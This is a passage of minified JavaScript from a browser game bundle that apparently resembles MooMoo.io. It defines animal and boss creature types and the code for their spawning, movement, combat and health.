* @author Feross Aboukhadijeh <https://feross.org>
* @license MIT
*/
e.exports = function(e) {
return null != e && (n(e) || function(e) {
return "function" == typeof e.readFloatLE && "function" == typeof
e.slice && n(e.slice(0, 0))
}(e) || !!e._isBuffer)
}
}
, function(e, t) {
e.exports = function(e, t, n, i, r, s, a, o, c) {
this.aiTypes = [{
id: 0,
src: "cow_1",
killScore: 150,
health: 500,
weightM: .8,
speed: 95e-5,
turnSpeed: .001,
scale: 72,
drop: ["food", 50]
}, {
id: 1,
src: "pig_1",
killScore: 200,
health: 800,
weightM: .6,
speed: 85e-5,
turnSpeed: .001,
scale: 72,
drop: ["food", 80]
}, {
id: 2,
name: "Bull",
src: "bull_2",
hostile: !0,
dmg: 20,
killScore: 1e3,
health: 1800,
weightM: .5,
speed: 94e-5,
turnSpeed: 74e-5,
scale: 78,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 100]
}, {
id: 3,
name: "Bully",
src: "bull_1",
hostile: !0,
dmg: 20,
killScore: 2e3,
health: 2800,
weightM: .45,
speed: .001,
turnSpeed: 8e-4,
scale: 90,
viewRange: 900,
chargePlayer: !0,
drop: ["food", 400]
}, {
id: 4,
name: "Wolf",
src: "wolf_1",
hostile: !0,
dmg: 8,
killScore: 500,
health: 300,
weightM: .45,
speed: .001,
turnSpeed: .002,
scale: 84,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 200]
}, {
id: 5,
name: "Quack",
src: "chicken_1",
dmg: 8,
killScore: 2e3,
noTrap: !0,
health: 300,
weightM: .2,
speed: .0018,
turnSpeed: .006,
scale: 70,
drop: ["food", 100]
}, {
id: 6,
name: "MOOSTAFA",
nameScale: 50,
src: "enemy",
hostile: !0,
dontRun: !0,
fixedSpawn: !0,
spawnDelay: 6e4,
noTrap: !0,
colDmg: 100,
dmg: 40,
killScore: 8e3,
health: 18e3,
weightM: .4,
speed: 7e-4,
turnSpeed: .01,
scale: 80,
spriteMlt: 1.8,
leapForce: .9,
viewRange: 1e3,
hitRange: 210,
hitDelay: 1e3,
chargePlayer: !0,
drop: ["food", 100]
}, {
id: 7,
name: "Treasure",
hostile: !0,
nameScale: 35,
src: "crate_1",
fixedSpawn: !0,
spawnDelay: 12e4,
colDmg: 200,
killScore: 5e3,
health: 2e4,
weightM: .1,
speed: 0,
turnSpeed: 0,
scale: 70,
spriteMlt: 1
}, {
id: 8,
name: "MOOFIE",
src: "wolf_2",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 4,
spawnDelay: 3e4,
noTrap: !0,
nameScale: 35,
dmg: 10,
colDmg: 100,
killScore: 3e3,
health: 7e3,
weightM: .45,
speed: .0015,
turnSpeed: .002,
scale: 90,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 1e3]
}],
this.spawn = function(l, h, u, f) {
for (var d, p = 0; p < e.length; ++p)
if (!e[p].active) {
d = e[p];
break
}
return d || (d = new t(e.length,r,n,i,a,s,o,c),
e.push(d)),
d.init(l, h, u, f, this.aiTypes[f]),
d
}
}
}
, function(e, t) {
var n = 2 * Math.PI;
e.exports = function(e, t, i, r, s, a, o, c) {
this.sid = e,
this.isAI = !0,
this.nameIndex = s.randInt(0, a.cowNames.length - 1),
this.init = function(e, t, n, i, r) {
this.x = e,
this.y = t,
this.startX = r.fixedSpawn ? e : null,
this.startY = r.fixedSpawn ? t : null,
this.xVel = 0,
this.yVel = 0,
this.zIndex = 0,
this.dir = n,
this.dirPlus = 0,
this.index = i,
this.src = r.src,
r.name && (this.name = r.name),
this.weightM = r.weightM,
this.speed = r.speed,
this.killScore = r.killScore,
this.turnSpeed = r.turnSpeed,
this.scale = r.scale,
this.maxHealth = r.health,
this.leapForce = r.leapForce,
this.health = this.maxHealth,
this.chargePlayer = r.chargePlayer,
this.viewRange = r.viewRange,
this.drop = r.drop,
this.dmg = r.dmg,
this.hostile = r.hostile,
this.dontRun = r.dontRun,
this.hitRange = r.hitRange,
this.hitDelay = r.hitDelay,
this.hitScare = r.hitScare,
this.spriteMlt = r.spriteMlt,
this.nameScale = r.nameScale,
this.colDmg = r.colDmg,
this.noTrap = r.noTrap,
this.spawnDelay = r.spawnDelay,
this.hitWait = 0,
this.waitCount = 1e3,
this.moveCount = 0,
this.targetDir = 0,
this.active = !0,
this.alive = !0,
this.runFrom = null,
this.chargeTarget = null,
this.dmgOverTime = {}
}
;
var l = 0;
this.update = function(e) {
if (this.active) {
if (this.spawnCounter)
return this.spawnCounter -= e,
void (this.spawnCounter <= 0 && (this.spawnCounter = 0,
this.x = this.startX ||
s.randInt(0, a.mapScale),
this.y = this.startY ||
s.randInt(0, a.mapScale)));
(l -= e) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-
this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time
-= 1,
this.dmgOverTime.time
<= 0 && (this.dmgOverTime.dmg = 0)),
l = 1e3);
var r = !1
, o = 1;
if (!this.zIndex && !this.lockMove && this.y >= a.mapScale / 2 -
a.riverWidth / 2 && this.y <= a.mapScale / 2 + a.riverWidth / 2 && (o = .33,

this.xVel += a.waterCurrent * e),


this.lockMove)
this.xVel = 0,
this.yVel = 0;
else if (this.waitCount > 0) {
if (this.waitCount -= e,
this.waitCount <= 0)
if (this.chargePlayer) {
for (var h, u, f, d = 0; d < i.length; ++d)
!i[d].alive || i[d].skin && i[d].skin.bullRepel
|| (f = s.getDistance(this.x, this.y, i[d].x, i[d].y)) <= this.viewRange && (!h ||
f < u) && (u = f,
h = i[d]);
h ? (this.chargeTarget = h,
this.moveCount = s.randInt(8e3, 12e3)) :
(this.moveCount = s.randInt(1e3, 2e3),

this.targetDir = s.randFloat(-Math.PI, Math.PI))


} else
this.moveCount = s.randInt(4e3, 1e4),
this.targetDir = s.randFloat(-Math.PI, Math.PI)
} else if (this.moveCount > 0) {
var p = this.speed * o;
if (this.runFrom && this.runFrom.active && (!
this.runFrom.isPlayer || this.runFrom.alive) ? (this.targetDir =
s.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y),

p *= 1.42) : this.chargeTarget && this.chargeTarget.alive && (this.targetDir =


s.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y),
p *= 1.75,
r = !0),
this.hitWait && (p *= .3),
this.dir != this.targetDir) {
this.dir %= n;
var g = (this.dir - this.targetDir + n) % n
, m = Math.min(Math.abs(g - n), g, this.turnSpeed * e)
, y = g - Math.PI >= 0 ? 1 : -1;
this.dir += y * m + n
}
this.dir %= n,
this.xVel += p * e * Math.cos(this.dir),
this.yVel += p * e * Math.sin(this.dir),
this.moveCount -= e,
this.moveCount <= 0 && (this.runFrom = null,
this.chargeTarget = null,
this.waitCount = this.hostile ?
1500 : s.randInt(1500, 6e3))
}
this.zIndex = 0,
this.lockMove = !1;
var k = s.getDistance(0, 0, this.xVel * e, this.yVel * e)
, v = Math.min(4, Math.max(1, Math.round(k / 40)))
, w = 1 / v;
for (d = 0; d < v; ++d) {
this.xVel && (this.x += this.xVel * e * w),
this.yVel && (this.y += this.yVel * e * w),
M = t.getGridArrays(this.x, this.y, this.scale);
for (var b = 0; b < M.length; ++b)
for (var x = 0; x < M[b].length; ++x)
M[b][x].active && t.checkCollision(this, M[b][x], w)
}
var S, T, I, E = !1;
if (this.hitWait > 0 && (this.hitWait -= e,
this.hitWait <= 0)) {
E = !0,
this.hitWait = 0,
this.leapForce && !s.randInt(0, 2) && (this.xVel +=
this.leapForce * Math.cos(this.dir),
this.yVel +=
this.leapForce * Math.sin(this.dir));
for (var M = t.getGridArrays(this.x, this.y, this.hitRange),
A = 0; A < M.length; ++A)
for (b = 0; b < M[A].length; ++b)
(S = M[A][b]).health && (T = s.getDistance(this.x,
this.y, S.x, S.y)) < S.scale + this.hitRange && (S.changeHealth(5 * -this.dmg) &&
t.disableObj(S),

t.hitObj(S, s.getDirection(this.x, this.y, S.x, S.y)));


for (b = 0; b < i.length; ++b)
i[b].canSee(this) && c.send(i[b].id, "aa", this.sid)
}
if (r || E)
for (d = 0; d < i.length; ++d)
(S = i[d]) && S.alive && (T = s.getDistance(this.x,
this.y, S.x, S.y),
this.hitRange ? !this.hitWait
&& T <= this.hitRange + S.scale && (E ? (I = s.getDirection(S.x, S.y, this.x,
this.y),
S.changeHealth(-this.dmg),

S.xVel += .6 * Math.cos(I),

S.yVel += .6 * Math.sin(I),

this.runFrom = null,

this.chargeTarget = null,

this.waitCount = 3e3,

this.hitWait = s.randInt(0, 2) ? 0 : 600) : this.hitWait = this.hitDelay) : T <=


this.scale + S.scale && (I = s.getDirection(S.x, S.y, this.x, this.y),
S.changeHealth(-this.dmg),
S.xVel += .55 * Math.cos(I),
S.yVel += .55 * Math.sin(I)));
this.xVel && (this.xVel *= Math.pow(a.playerDecel, e)),
this.yVel && (this.yVel *= Math.pow(a.playerDecel, e));
var P = this.scale;
this.x - P < 0 ? (this.x = P,
this.xVel = 0) : this.x + P > a.mapScale &&
(this.x = a.mapScale - P,

this.xVel = 0),
this.y - P < 0 ? (this.y = P,
this.yVel = 0) : this.y + P > a.mapScale
&& (this.y = a.mapScale - P,

this.yVel = 0)
}
}
,
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >=
e.skin.invisTimer)
return !1;
var t = Math.abs(e.x - this.x) - e.scale
, n = Math.abs(e.y - this.y) - e.scale;
return t <= a.maxScreenWidth / 2 * 1.3 && n <= a.maxScreenHeight / 2
* 1.3
}
;
var h = 0
, u = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
h = 0,
u = 0) : 0 == u ? (h +=
e / (this.animSpeed * a.hitReturnRatio),

this.dirPlus = s.lerp(0, this.targetAngle, Math.min(1, h)),


h >=
1 && (h = 1,
u = 1)) : (h -= e / (this.animSpeed * (1 - a.hitReturnRatio)),

this.dirPlus = s.lerp(0, this.targetAngle, Math.max(0, h))))


}
,
this.startAnim = function() {
this.animTime = this.animSpeed = 600,
this.targetAngle = .8 * Math.PI,
h = 0,
u = 0
}
,
this.changeHealth = function(e, t, n) {
if (this.active && (this.health += e,
n && (this.hitScare && !s.randInt(0,
this.hitScare) ? (this.runFrom = n,

this.waitCount = 0,

this.moveCount = 2e3) : this.hostile && this.chargePlayer && n.isPlayer ?


(this.chargeTarget = n,
this.waitCount = 0,
this.moveCount = 8e3) : this.dontRun || (this.runFrom = n,
this.waitCount = 0,
this.moveCount = 2e3)),
e < 0 && this.hitRange && s.randInt(0, 1) &&
(this.hitWait = 500),
t && t.canSee(this) && e < 0 && c.send(t.id,
"t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1),
this.health <= 0 && (this.spawnDelay ?
(this.spawnCounter = this.spawnDelay,
this.x =
-1e6,
this.y =
-1e6) : (this.x = this.startX || s.randInt(0, a.mapScale),

this.y = this.startY || s.randInt(0, a.mapScale)),


this.health =
this.maxHealth,
this.runFrom = null,
t && (o(t, this.killScore),
this.drop))))
for (var i = 0; i < this.drop.length; )
t.addResource(a.resourceTypes.indexOf(this.drop[i]),
this.drop[i + 1]),
i += 2
}
}
}
]);
//# sourceMappingURL=bundle.js.map

You might also like